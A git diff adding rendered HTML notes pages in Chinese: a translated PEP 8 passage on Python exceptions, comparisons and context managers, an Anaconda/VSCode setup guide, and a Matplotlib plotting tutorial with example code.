比如,不要依赖于在CPython中高效的内置字符连接语句 a += b 或者 a = a + b。这种优化甚至在CPython中都是脆弱的(它只适用于某些类型)并且没有出现在不使用引用计数的实现中。在性能要求比较高的库中,可以种 ”.join() 代替。这可以确保字符关联在不同的实现中都可以以线性时间发生。 和像None这样的单例对象进行比较的时候应该始终用 is 或者 is not,永远不要用等号运算符。
另外,如果你在写 if x 的时候,请注意你是否表达的意思是 if x is not None。举个例子,当测试一个默认值为None的变量或者参数是否被设置为其他值的时候。这个其他值应该是在上下文中能成为bool类型false的值。 使用 is not 运算符,而不是 not … is 。虽然这两种表达式在功能上完全相同,但前者更易于阅读,所以优先考虑。 推荐:
不推荐:
当使用富比较(rich comparisons,一种复杂的对象间比较的新机制,允许返回值不为-1,0,1)实现排序操作的时候,最好实现全部的六个操作符(eq , ne , lt , gt , ge )而不是依靠其他的代码去实现特定的比较。
为了最大程度减少这一过程的开销, functools.total_ordering() 修饰符提供了用于生成缺少的比较方法的工具。 PEP 207 指出Python实现了反射机制。因此,解析器会将 y > x 转变为 x < y,将 y >= x 转变为 x <= y,也会转换x == y 和 x != y的参数。sort() 和 min()方法确保使用<操作符,max()使用>操作符。然而,最好还是实现全部六个操作符,以免在其他地方出现冲突。 始终使用def表达式,而不是通过赋值语句将lambda表达式绑定到一个变量上。 推荐:
不推荐:
第一个形式意味着生成的函数对象的名称是“f”而不是泛型“< lambda >”。这在回溯和字符串显示的时候更有用。赋值语句的使用消除了lambda表达式优于显式def表达式的唯一优势(即lambda表达式可以内嵌到更大的表达式中)。 从Exception继承异常,而不是BaseException。直接继承BaseException的异常适用于几乎不用来捕捉的异常。
设计异常的等级,要基于扑捉异常代码的需要,而不是异常抛出的位置。以编程的方式去回答“出了什么问题?”,而不是只是确认“出现了问题”(内置异常结构的例子参考 PEP 3151 ) 类的命名规范适用于这里,但是你需要添加一个“Error”的后缀到你的异常类,如果异常是一个Error的话 。非本地流控制或者其他形式的信号的非错误异常不需要特殊的后缀。 适当地使用异常链接。在Python 3里,为了不丢失原始的根源,可以显式指定“raise X from Y”作为替代。
当故意替换一个内部异常时(Python 2 使用“raise X”, Python 3.3 之后 使用 “raise X from None”),确保相关的细节转移到新的异常中(比如把AttributeError转为KeyError的时候保留属性名,或者将原始异常信息的文本内容内嵌到新的异常中)。 在Python 2中抛出异常时,使用 rasie ValueError(‘message’) 而不是用老的形式 raise ValueError, ‘message’。
第二种形式在Python3 的语法中不合法 使用小括号,意味着当异常里的参数非常长,或者包含字符串格式化的时候,不需要使用换行符。 当捕获到异常时,如果可以的话写上具体的异常名,而不是只用一个except: 块。 比如说:
try :
+ import platform_specific_module
+except ImportError:
+ platform_specific_module = None
+
如果只有一个except: 块将会捕获到SystemExit和KeyboardInterrupt异常,这样会很难通过Control-C中断程序,而且会掩盖掉其他问题。如果你想捕获所有指示程序出错的异常,使用 except Exception: (只有except等价于 except BaseException: )。 两种情况不应该只使用‘excpet’块: 如果异常处理的代码会打印或者记录log;至少让用户知道发生了一个错误。 如果代码需要做清理工作,使用 raise..try…finally 能很好处理这种情况并且能让异常继续上浮。 当给捕捉的异常绑定一个名字时,推荐使用在Python 2.6中加入的显式命名绑定语法: try :
+ process_data( )
+except Exception as exc:
+ raise DataProcessingFailedError( str ( exc) )
+
为了避免和原来基于逗号分隔的语法出现歧义,Python3只支持这一种语法。
当捕捉操作系统的错误时,推荐使用Python 3.3 中errno内定数值指定的异常等级。 另外,对于所有的 try/except 语句块,在try语句中只填充必要的代码,这样能避免掩盖掉bug。 推荐: try :
+ value = collection[ key]
+except KeyError:
+ return key_not_found( key)
+else :
+ return handle_value( value)
+
不推荐:
try :
+
+ return handle_value( collection[ key] )
+except KeyError:
+
+ return key_not_found( key)
+
当代码片段局部使用了某个资源的时候,使用with 表达式来确保这个资源使用完后被清理干净。用try/finally也可以。 参考链接open in new window 编程中,在我们使用系统资源的时候,如需打开一个文件用于读写,加锁确保线程安全,在使用完成后需要关闭该文件,释放我们所占用的资源。通常,我们可以将其封装在一个try...except...finally语句块中,这样能够确保在运行产生错误的情况我们也能释放相关资源。但每次都要记得手动关闭,着实麻烦。毕竟懒是是第一生产力,有没有更简便的写法? 答案是:有。Python提供了一个with表达式,只要将相关的代码块放入with表达式中,它便能起到一个类似try...except的作用,这使得我们不需要每次使用完成后再去手动关闭相关资源了。其使用语法为: with_stmt : := "with" with_item ( "," with_item) * ":" suite
+with_item : := expression [ "as" target]
+
+例如:
+with open ( 'myfile.txt' , 'w' ) as fd:
+
+ BLOCK1
+ . . .
+
+
+
+
+BLOCK2
+. . .
+
实际上,with表达式是将用户相关代码块封装在一个上下文管理器(context manager)中。所谓上下文管理器,通俗的讲,其实就是一个包含特定方法对__enter__, __exit__的对象,该方法对使得用户可以在进入相关代码块前设置好所需上下文环境,并在相关代码块退出后做一些善后工作,如释放资源,解锁等。 with的执行流程如下所示: 获取上下文管理器。例如上面代码块中的open('myfile.txt', 'w')会将文件自身返回; 2.上下文管理器的__enter__方法被调用; 3.第二步中的返回值被赋值到target,如果target存在的话; 4.执行with中的代码块,BLOCK1 5.上下文管理器的__exit__方法被调用。 6.判断代码块的退出原因,如果是因为一场退出,执行第7步,如果因为除了异常以外的原因(如正常退出),忽略第七步; 7.判断第5步中__exit__的返回值,如果是True,忽略异常继续执行后面代码,如果是False则抛出该异常,终止执行。 上面几个步骤可以用伪代码表示如下: context_manager = SomeKindOfManager( )
+target = context_manager. __enter__( )
+try :
+ BLOCK1
+finally :
+ result = context_manager. __exit__( )
+ if reason is exception:
+ if result:
+ suppress exception
+ else
+ raise exception
+
+BLOCK2
+
上面提到的__exit__方法接收三个参数,分别是exception_type, exception_value, exception_traceback。 下面,就用个小栗子作为结束吧。 class MyContextManager ( object ) :
+
+ def __enter__ ( self) :
+ return 'hello world'
+
+ def __exit__ ( self, exc_type, exc_val, exc_traceback) :
+ print ( 'Byebye' )
+
+
+with MyContextNanager( ) as msg:
+ print ( msg)
+
其结果为: 无论何时获取和释放资源,都应该通过单独的函数或方法调用上下文管理器。举个例子: 推荐:with conn. begin_transaction( ) :
+ do_stuff_in_transaction( conn)
+
不推荐:with conn:
+ do_stuff_in_transaction( conn)
+
第二个例子没有提供任何信息去指明__enter__和__exit__方法在事务之后做出了关闭连接之外的其他事情。这种情况下,明确指明非常重要。 返回的语句保持一致。函数中的返回语句都应该返回一个表达式,或者都不返回。如果一个返回语句需要返回一个表达式,那么在没有值可以返回的情况下,需要用 return None 显式指明,并且在函数的最后显式指定一条返回语句(如果能跑到那的话)。 推荐:def foo ( x) :
+ if x >= 0 :
+ return math. sqrt( x)
+ else :
+ return None
+
+def bar ( x) :
+ if x < 0 :
+ return None
+ return math. sqrt( x)
+
不推荐:def foo ( x) :
+ if x >= 0 :
+ return math. sqrt( x)
+
+def bar ( x) :
+ if x < 0 :
+ return
+ return math. sqrt( x)
+
使用字符串方法代替字符串模块。 字符串方法总是更快,并且和unicode字符串分享相同的API。如果需要兼容Python2.0之前的版本可以不用考虑这个规则。 使用 ”.startswith() 和 ”.endswith() 代替通过字符串切割的方法去检查前缀和后缀。 startswith()和endswith()更干净,出错几率更小。比如:推荐: if foo. startswith( 'bar' ) :
+糟糕: if foo[ : 3 ] == 'bar' :
+
对象类型的比较应该用isinstance()而不是直接比较type。正确: if isinstance ( obj, int ) :
+糟糕: if type ( obj) is type ( 1 ) :
+
当检查一个对象是否为string类型时,记住,它也有可能是unicode string !在Python2中,str和unicode都有相同的基类:basestring,所以你可以这样:if isinstance ( obj, basestring ) :
+
注意 ,在Python3中,unicode和basestring都不存在了(只有str)并且bytes类型的对象不再是string类型的一种(它是整数序列) 对于序列来说(strings,lists,tuples),可以使用空序列为false的情况。正确: if not seq:
+ if seq:
+
+糟糕: if len ( seq) :
+ if not len ( seq) :
+
书写字符串时不要依赖单词结尾的空格,这样的空格在视觉上难以区分,有些编辑器会自动去掉他们(比如 reindent.py (译注:re indent 重新缩进)) 不要用 == 去和True或者False比较:正确: if greeting:
+糟糕: if greeting == True :
+更糟: if greeting is True :
+
Function Annotations 功能注释 随着PEP 484的引入,功能型注释的风格规范有些变化。 为了向前兼容,在Python3代码中的功能注释应该使用 PEP 484的语法规则。(在前面的章节中对注释有格式化的建议。) 不再鼓励使用之前在PEP中推荐的实验性样式。 然而,在stdlib库之外,在PEP 484中的实验性规则是被鼓励的。比如用PEP 484的样式标记大型的第三方库或者应用程序,回顾添加这些注释是否简单,并观察是否增加了代码的可读性。 Python的标准库代码应该保守使用这种注释,但新的代码或者大型的重构可以使用这种注释。 如果代码希望对功能注释有不同的用途,建议在文件的顶部增加一个这种形式的注释:这会告诉检查器忽略所有的注释。(在 PEP 484中可以找到从类型检查器禁用投诉的更细粒度的方法。) 像linters一样,类型检测器是可选的可独立的工具。默认情况下,Python解释器不应该因为类型检查而发出任何消息,也不应该基于注释改变它们的行为。 不想使用类型检测的用户可以忽略他们。然而,第三方库的用户可能希望在这些库上运行类型检测。为此, PEP 484 建议使用存根文件类型:.pyi文件,这种文件类型相比于.py文件会被类型检测器读取。存根文件可以和库一起,或者通过typeshed repo6独立发布(通过库作者的许可) 对于需要向后兼容的代码,可以以注释的形式添加功能型注释。参见PEP 484open in new window 的相关部分。(参考:Suggested syntax for Python 2.7 and straddling code)open in new window 参考 PEP 7, Style Guide for C Code, van Rossum Barry’s GNU Mailman style guideopen in new window 挂行缩进是一种类型设置样式,其中除第一行之外,段落中的所有行都缩进。在Python中,这个术语是用来描述一种风格:在被括号括起来的语句中,左括号是这一行最后一个非空格字符,随后括号内的内容每一行进行缩进,直到遇到右括号。 Donald Knuth’s The TeXBook, pages 195 and 196 Camel caseopen in new window Typeshed repoopen in new window Suggested syntax for Python 2.7 and straddling codeopen in new window 上一页
Note-python
下一页
PythonWeb
+
+
+
diff --git a/Language/Python/PythonWeb.html b/Language/Python/PythonWeb.html
new file mode 100644
index 0000000000..3e17f826ec
--- /dev/null
+++ b/Language/Python/PythonWeb.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Flask + VUE + Electron + gitee | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/Python/QuickStart.html b/Language/Python/QuickStart.html
new file mode 100644
index 0000000000..f01a1c69f9
--- /dev/null
+++ b/Language/Python/QuickStart.html
@@ -0,0 +1,46 @@
+
+
+
+
+
+
+
+ QuickStart | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 QuickStart 快速开始 Anaconda + VSCode + jupyter插件 + Python相关插件
Anaconda
: 用于管理 python 环境VSCode
: 用于编写与运行 python 程序VSCode 中的 Jupyter 插件
: 用于交互式编写 python 程序VSCode 中的 Python 相关插件
: 用于支持一些 Python 相关的代码提示, 语法高亮之类 Anaconda Python 开发环境配置 | DailyNotes (ayusummer.github.io)open in new window 需要注意的是, 使用 Anaconda Navigator 或者 conda 环境操作时需要关掉梯子, 否则可能会报 host 错误
安装完成后打开 Anaconda Navigator
:
Anaconda 换源 anaconda修改国内源 - 余者皆可 - 博客园 (cnblogs.com)open in new window
新建一个 conda 环境 打开 Anaconda Navigator -> Environments
在环境列表底部按钮中找到 Create
并点击
为新环境命一个名(英文命名, 尽量简短些, 之后激活要用)
这里选择了 Python 3.8.13, 不上 3.9 或者 3.10 主要是因为有一些三方库更新没跟上, 不一定支持 python3.9 及以上
在命令行中使用 conda 环境可以使用如下指令激活:
环境变量 在控制台输入 conda -V
没有反应的话应该是环境变量没加(虽然我记得装的时候会提示勾选添加环境变量)
如果没添加环境变量的话可以编辑系统环境变量, 在 系统变量
的 Path
项中添加两条环境变量
C:\ Users\ xxx\ Anaconda3
+C:\ Users\ xxx\ Anaconda3\ Scripts
+
第一条对应自己的 Anaconda 安装位置根目录 第二条对应 Anaconda 根目录下的 Scripts 目录
VSCode VSCode | DailyNotes (ayusummer.github.io)open in new window
用于编辑与运行 python 程序, 选择 VSCode 主要是其比较轻量, 启动比较快, 用起来比较顺手, 且插件市场庞大, 对于许多语言都有插件支持, 按需下载
比起安装 python 解释器自带的 IDLE 友好许多, 又不会像 Pycharm 一样庞大/启动慢/占资源, 作为平时写点小脚本, 小玩意儿来说完全够用
VSCode 扩展安装 汉化插件
Python 相关基础插件
jupyter 插件
使用 Jupyter 的好处在于可以边写笔记边写代码, 如下图所示, 在笔记中可以插入代码块并运行及显示
Markdown 插件
命令行插件 Terminal
用于在 VSCode 中打开 powershell 执行命令
下一页
开发环境
+
+
+
diff --git a/Language/Python/index.html b/Language/Python/index.html
new file mode 100644
index 0000000000..e539b729b2
--- /dev/null
+++ b/Language/Python/index.html
@@ -0,0 +1,40 @@
+
+
+
+
+
+
+
+ Python | DailyNotes
+
+
+
+
+
+
+
+
+
+
diff --git a/Language/Python/libs/Matplotlib/Matplotlib.html b/Language/Python/libs/Matplotlib/Matplotlib.html
new file mode 100644
index 0000000000..357013af03
--- /dev/null
+++ b/Language/Python/libs/Matplotlib/Matplotlib.html
@@ -0,0 +1,654 @@
+
+
+
+
+
+
+
+ 目录 | DailyNotes
+
+
+
+
+
+
+ 跳至主要內容 目录 Matplotlib 数据可视化 是python的绘图库 可以绘制诸如散点/饼状/线/直方/误差线图 图形质量满足出版要求 pyplot pyplot绘图的基本操作
创建画布与创建子图 创建一张空白画图,并可以选择是否将整个画布划分为多个部分,方便在同一幅图上绘制多个图形 也可以省略,直接在默认的画布上进行图形绘制,通常情况下省略 函数 函数作用 plt.figure() 创建一个空白画布,可以指定画布大小,像素 plt.subplot() 创建并选中子图,可以指定子图的行数,列数,与选中图片编号
matplotlib. pyplot def figure ( num: Union[ int , str , None ] = None ,
+ figsize: Any = None ,
+ dpi: Optional[ int ] = None ,
+ facecolor: Any = None ,
+ edgecolor: Any = None ,
+ frameon: Optional[ bool ] = True ,
+ FigureClass: Any = Figure,
+ clear: Optional[ bool ] = False ,
+ ** kwargs: Any) - > Any
+
注意:当你使用画布时,务必记得在不使用该画布时使用 pyplot.close 来关闭画布以清理其占用的内存
num figsize dpi 指定绘图对象的分辨率 即每英寸多少个像素,缺省值为80 1英寸等于2.5cm A4纸是 21*30cm的纸张 facecolor edgecolor import matplotlib. pyplot as plt
+import numpy as np
+
+a = np. arange( 1 , 13 )
+b = np. array( [ 12 , 12 , 34 , 23 , 56 , 45 , 24 , 45 , 23 , 45 , 21 , 12 ] )
+c = a ** 2 + 1
+plt. figure( 'qwqerr' , figsize= ( 10 , 5 ) , dpi= 60 )
+plt. plot( a, b)
+plt. figure( '12' , figsize= ( 10 , 5 ) , dpi= 60 )
+plt. plot( a, c)
+plt. show( )
+
+
运行结果 添加图的基本要素 添加标题(图, xy轴), 设置可读与范围(x, y轴) 添加图标题,坐标轴名称,设置刻度与范围 函数 函数作用 plt.title 在当前图形中添加图表题,可以确定标题的名称,位置,颜色,字体大小等参数 plt.xlable 在当前图形中添加x轴名称(标题),可以指定位置,颜色,字体大小等参数 plt.ylable 在当前图形中添加y轴名称(标题),可以指定位置,颜色,字体大小等参数 plt.xlim 指定当前x轴的范围,只能确定一个数值区间,而无法使用字符串标识 plt.ylim 指定当前y轴的范围,只能确定一个数值区间,而无法使用字符串标识 plt.xticks 指定x轴可读的数目与取值 plt.yticks 指定y轴可读的书目与取值
rcParams参数 原文链接open in new window plt(matplotlib.pyplot)使用rc配置文件来自定义图形的各种默认属性 ,称之为rc配置或rc参数。 通过rc参数可以修改默认的属性,包括窗体大小、每英寸的点数、线条宽度、颜色、样式、坐标轴、坐标和网络属性、文本、字体等。 rc参数存储在字典变量中,通过字典的方式进行访问。 正常显示中文和负号 Matplotlib内无中文字节码,需要另外添加显示中文的模块
from matplotlib. font_manager import FontProperties as FP
+font = FP( fname = 'C:/WINDOWS/Fonts/STKAITI.TTF' , size= 16 )
+
2.使用matplotlib的rcParams属性 matplotlib. rcParams[ 'font.family' ] = [ 'SimHei' ]
+
3.使用matplotlib的rcParams属性 plt. rcParams[ 'axes.unicode_minus' ] = False
+
例子:绘制s i n ( x ) sin(x) s in ( x ) 绘制sin(x) ,并添加标题
title( '文本' , fontsize= None , fontweight= None , fontstyle= None )
+
fontsize 默认12 可选参数[‘xx-small’, ‘x-small’, ‘small’, ‘medium’, ‘large’,‘x-large’, ‘xx-large’]
+
fontweight 设置字体粗细 可选参数[‘light’, ‘normal’, edium’, ‘semibold’, ‘bold’, ‘heavy’, ‘black’]
+
fontstyle 设置字体类型 可选参数[ ‘normal’ | ‘italic’ | ‘oblique’ ]
+
italic斜体 oblique倾斜 backgroundcolor标题背景颜色 1.使用字体管理器font_manager import matplotlib. pyplot as plt
+import numpy as np
+from matplotlib. font_manager import FontProperties as FP
+
+font = FP( fname= 'C:/WINDOWS/Fonts/STKAITI.TTF' , size= 12 )
+a1 = np. linspace( 0 , 2 * np. pi)
+b1 = np. sin( a1)
+plt. title( 'sin(x)函数图' , fontproperties= font, size= 18 )
+plt. xlabel( 'x轴' , fontproperties= font)
+plt. ylabel( 'y轴' , fontproperties= font)
+plt. plot( a1, b1)
+plt. show( )
+
+
运行结果
为不同标题(图、坐标轴)设置不同的字体,大小,采用字体管理器 import matplotlib. pyplot as plt
+import numpy as np
+from matplotlib. font_manager import fontManager
+
+a1 = np. linspace( 0 , 2 * np. pi)
+b1 = np. sin( a1)
+plt. title( 'sin(x)函数图' , fontproperties= 'FangSong' , size= 16 )
+plt. xlabel( 'x值' , fontproperties= 'simhei' , fontsize= 10 )
+plt. ylabel( '函数值' , fontproperties= 'stkaiti' )
+plt. plot( a1, b1)
+plt. show( )
+
+
运行结果
显示图中的负号 虽然这里这么写了,但是在字体管理器那里我已经可以正常显示负号了
配置rc参数
rcParams[ 'axes.unicode_minus' ] = False
+
import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+a1 = np. linspace( 0 , 2 * np. pi)
+b1 = np. sin( a1)
+plt. title( 'sin(x)函数图' , size= 16 )
+plt. xlabel( 'x 值' , labelpad= 10 )
+plt. ylabel( '函\n数\n值' ,
+ rotation= 0 ,
+ linespacing= 2 ,
+ labelpad= 20 ,
+ position= ( 10 , 0.35 )
+ )
+plt. plot( a1, b1)
+plt. show( )
+
+
运行结果
import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+a1 = np. linspace( 0 , 2 * np. pi)
+b1 = np. sin( a1)
+plt. title( 'sin(x)函数图' , fontsize= 'large' )
+plt. xlabel( 'x的值' )
+plt. ylabel( '函数值' )
+plt. plot( a1, b1)
+plt. show( )
+
+
+C: \Users\233 \AppData\Local\Programs\Python\Python38\lib\site- packages\matplotlib\backends\backend_agg. py: 214 : RuntimeWarning: Glyph 8722 missing from current font.
+ font. set_text( s, 0.0 , flags= flags)
+C: \Users\233 \AppData\Local\Programs\Python\Python38\lib\site- packages\matplotlib\backends\backend_agg. py: 183 : RuntimeWarning: Glyph 8722 missing from current font.
+ font. set_text( s, 0 , flags= flags)
+
+
绘制sin(x),cos(x) import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+plt. plot( a1, b1)
+plt. plot( a1, c1)
+plt. title( 'sin---cos 曲线图' )
+plt. show( )
+
+
运行结果
方案二:在一张图figure上画多个小图subplot 创建画布对象 在fig画布创建子图并分配子图的位置 fig.add_subplot(rawnum,colnum,stanum) 将整个图分成rawnum行,colnum列个子图, stanum为子图的位置 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+d1 = 2 * a1 + 4
+fig = plt. figure( figsize= ( 12 , 4 ) )
+fig. add_subplot( 2 , 2 , 1 )
+plt. plot( a1, b1)
+fig. add_subplot( 2 , 2 , 2 )
+plt. plot( a1, c1)
+fig. add_subplot( 223 )
+plt. plot( a1, d1)
+plt. show( )
+
+
运行结果
添加子图标题 每次调用plt.plot绘制一张子图之前调用plt.title添加一次标题 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+d1 = 2 * a1 + 4
+fig = plt. figure( figsize= ( 12 , 4 ) )
+fig. add_subplot( 2 , 2 , 1 )
+plt. title( 'sin(x)' )
+plt. plot( a1, b1)
+fig. add_subplot( 2 , 2 , 2 )
+plt. title( 'cos(x)' )
+plt. plot( a1, c1)
+fig. add_subplot( 223 )
+plt. title( '直线' )
+plt. plot( a1, d1)
+plt. show( )
+
+
运行结果
子图的位置分布 tight_layout可以通过参数pad, w_pad, h_pad来设置一些布局的细节 添加总标题 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+d1 = 2 * a1 + 4
+e1 = a1 ** 2 + 4 * a1 + 3
+plt. figure( figsize= ( 8 , 4 ) )
+plt. suptitle( 'Figuer 标题' , fontsize= 14 )
+
+plt. subplot( 2 , 2 , 1 )
+plt. title( 'sin(x)' )
+plt. plot( a1, b1)
+
+plt. subplot( 2 , 2 , 2 )
+plt. title( 'cos(x)' )
+plt. plot( a1, c1)
+
+plt. subplot( 223 )
+plt. title( '直线' )
+plt. plot( a1, d1)
+
+plt. subplot( 224 )
+plt. title( '二次函数' )
+plt. plot( a1, e1)
+plt. tight_layout( 1 , 3 , 3 )
+plt. show( )
+
+
例题:烧烤店营业额折线图 已知某商场2019年每个月份的营业额如下所示。绘制折线图对该烧烤店全年营业额进行可视化。 | 月份 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | | - |- |- |- |- |- |- |- |- |- |- |- |- |- | | 营业额(万元) | 5.2 | 4 | 3.7 | 5.2 | 4.9 | 3.6 | 5.8 | 3.8 | 6.7 | 6.1 | 4.5 | 5.7 |
import matplotlib. pyplot as plt
+
+plt. rcParams[ 'font.sans-serif' ] = [ 'simhei' ]
+a = list ( range ( 1 , 13 ) )
+b = [ 5.2 , 4 , 3.7 , 5.2 , 4.9 , 3.6 , 5.8 , 3.8 , 6.7 , 6.1 , 4.5 , 5.7 ]
+plt. title( '烧烤店营业额' )
+plt. xlabel( '月' )
+plt. ylabel( '营\n业\n额' , rotation= 0 , labelpad= 20 )
+xnum = range ( 1 , 13 )
+xlabel = [ str ( i) + '月' for i in range ( 1 , 13 ) ]
+plt. xticks( xnum, xlabel)
+plt. plot( a, b)
+plt. show( )
+
+
运行结果
legend.loc参数 原文链接open in new window legend()不加任何参数 则默认获取图中曲线的label
及颜色生成图例在图内 loc = 'best' 图例自动‘安家’在一个坐标面内的数据图表最少的位置 loc = 'XXX' 这里的'XXX'代表了坐标面中的九个位置,例如loc = 'center'表示坐标平面中心位置,九种参数值及所对应位置如下图所示 loc = (x, y) (x, y)表示图例左下角的位置,这是最灵活的一种放置图例的方法,慢慢调整,总会找到你想要的放置图例的位置 x, y并不是轴域中实际的x, y的值,而是将x轴, y轴分别看成1, 即: ( x / ( x _ m a x − x _ m i n ) , y / ( y _ m a x − y _ m i n ) ) ( x / (x\_max-x\_min) , y / (y\_max - y\_min) ) ( x / ( x _ ma x − x _ min ) , y / ( y _ ma x − y _ min )) 设置图例 图例往往位于图形绘制结果的一角或一侧,主要用于对所绘制的图形中使用各种符号和颜色进行说明,便于理解图形 使用方法 matplotlib.pyplot中的legend()函数; legend的主要参数如下:
loc 用来说明图例的位置,可为整数,字符串或实数元组 可用的字符串值有 best(0) upper right(1),upper left(2), lower left(3), lower right(4) right(5),left(6) lower center(8),upper center(9) center(10) 通常情况下,legend()如果不设置任何参数,默认是加到图像的内的位置。 若要放至的图之外,可设置参数bbox_to_anchor
的值。 bbox_to_anchor= ( levelnum, vernum)
+
fontsize 用来指定图例中的文本使用的字号 可以是表示绝对大小的整数,实数或表示相对大小的字符串. facecolor edgecolor shadow framealpha title handles labels 图例的名称 能够覆盖在plt.plot( )中label参数值 例1:给三角函数图加图例 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+plt. title( 'sin---cos 曲线图' )
+plt. plot( a1, c1)
+plt. plot( a1, b1)
+plt. legend( [ 'cosx' , 'sinx' ] , loc= 3 )
+plt. show( )
+
+
给四个子图分别添加图例 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+d1 = 2 * a1 + 4
+e1 = a1 ** 2 + 4 * a1 + 3
+
+plt. figure( figsize= ( 8 , 4 ) )
+plt. suptitle( 'Figuer 标题' , fontsize= 14 )
+
+plt. subplot( 2 , 2 , 1 )
+plt. title( 'sin(x)' )
+plt. plot( a1, b1)
+plt. legend( [ 'sinx' ] )
+plt. subplot( 2 , 2 , 2 )
+plt. title( 'coswe' )
+plt. plot( a1, c1)
+plt. legend( [ 'cosx' ] )
+plt. subplot( 223 )
+plt. title( '直线' )
+plt. plot( a1, d1)
+plt. legend( [ 'straight lines' ] , edgecolor= 'r' )
+plt. subplot( 224 )
+plt. title( '二次函数' )
+plt. plot( a1, e1)
+plt. tight_layout( 1 , 3 , 3 )
+plt. show( )
+
+
保存与显示图 保存: savefig( fname, dpi= None )
+
matplotlib文件保存有格式要求,当输入一个错误的格式如.bmp,系统会显示错误,并提示其支持的格式:ValueError: Format 'bmp' is not supported ( supported formats: eps, jpeg, jpg, pdf, pgf, png, ps, raw, rgba, svg, svgz, tif, tiff)
+
实例 import matplotlib. pyplot as plt
+import numpy as np
+import os
+
+file_path = os. path. abspath( os. path. join( os. path. dirname( __file__) , '123.png' ) )
+
+plt. rcParams[ 'font.family' ] = [ 'SimHei' ]
+plt. rcParams[ 'axes.unicode_minus' ] = False
+a1 = np. linspace( - 2 * np. pi, 2 * np. pi)
+b1 = np. sin( a1)
+c1 = np. cos( a1)
+d1 = 2 * a1 + 4
+e1 = a1 ** 2 + 4 * a1 + 3
+plt. figure( figsize= ( 8 , 4 ) )
+plt. suptitle( 'Figuer 标题' , fontsize= 14 )
+
+plt. subplot( 2 , 2 , 1 )
+plt. title( 'sin(x)' )
+plt. plot( a1, b1)
+plt. legend( [ 'sinx' ] )
+plt. subplot( 2 , 2 , 2 )
+plt. title( 'coswe' )
+plt. plot( a1, c1)
+plt. legend( [ 'cosx' ] )
+plt. subplot( 223 )
+plt. title( '直线' )
+plt. plot( a1, d1)
+plt. legend( [ 'straight lines' ] , edgecolor= 'r' )
+plt. subplot( 224 )
+plt. title( '二次函数' )
+plt. plot( a1, e1)
+plt. tight_layout( 1 , 3 , 3 )
+
+
+plt. savefig( file_path)
+plt. show( )
+
+
显示 折线图:plot()实例 折线图比较适合描述和比较
多组数据随时间变化的趋势。 或者一组数据对另外一组数据的依赖程度。 使用方法
matplotlib.pyplot中的plot()函数。 相关参数可以设置:
折线图上图上端点的位置,标记符号的形状,大小和颜色以及线条的颜色,线型等样式。 pyplot绘图
1.生成源始数据,导入数据。 2.设置标签和坐标轴刻度 3.设置标题 4.确定绘制的图形形状。 5.设置图例 7.保存图 8.显示图 plot()
函数
plot( x轴, y轴, 折线形状颜色标记,设置标签显示信息)
+
例1 商场优惠 某商品进价49元,售价75元,现在商场新品上架搞促销活动, 顾客每多买一件就给优惠1%, 对于商场而言 对于顾客来说 虽然买的越多单价越低,但是消费总金额却是越来越多的 并且购买太多也会因为用不完而导致过期不得不丢弃造成浪费。 现在要求计算并使用折线图可视化 顾客购买数量num与商家收益、顾客总消费以及顾客省钱情况的关系 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+
+num = np. array( range ( 1 , 31 ) )
+
+price = 75
+wnum = np. array( [ price * ( 1 - 0.01 * i) for i in num] )
+
+earnnum = ( wnum - 49 ) * num
+
+cusprice = wnum * num
+
+cusnum = num * ( price - wnum)
+plt. xlabel( '顾客购买数量(件)' )
+plt. ylabel( '金额(元)' )
+plt. plot( num, earnnum)
+plt. plot( num, cusprice)
+plt. plot( num, cusnum)
+plt. title( '数量--金额关系图' )
+plt. legend( [ '商家收益' , '顾客总消费' , '顾客省钱' ] )
+plt. show( )
+
+
修改线的形状 可以在plot中增加参数 修改线的形状: '-' 实线 '--' 虚线 '-.' 点线 ':' 点虚线 '.' 点 ','像素 'o' 圆形 'v' 朝下的三角形 '^' 朝上的三角形 's' 正方形 '*' 五角形 修改线的颜色: ‘b’蓝色 ‘g’绿色 ‘r’红色 ‘c’青色 ‘m’品红 ‘y’黄色、 ‘k’黑色 ‘w’ 白色 加入图例的标签 import matplotlib. pyplot as plt
+import numpy as np
+
+plt. rcParams[ 'font.family' ] = [ 'simhei' ]
+num = np. array( range ( 1 , 31 ) )
+
+price = 75
+wnum = np. array( [ price * ( 1 - 0.01 * i) for i in num] )
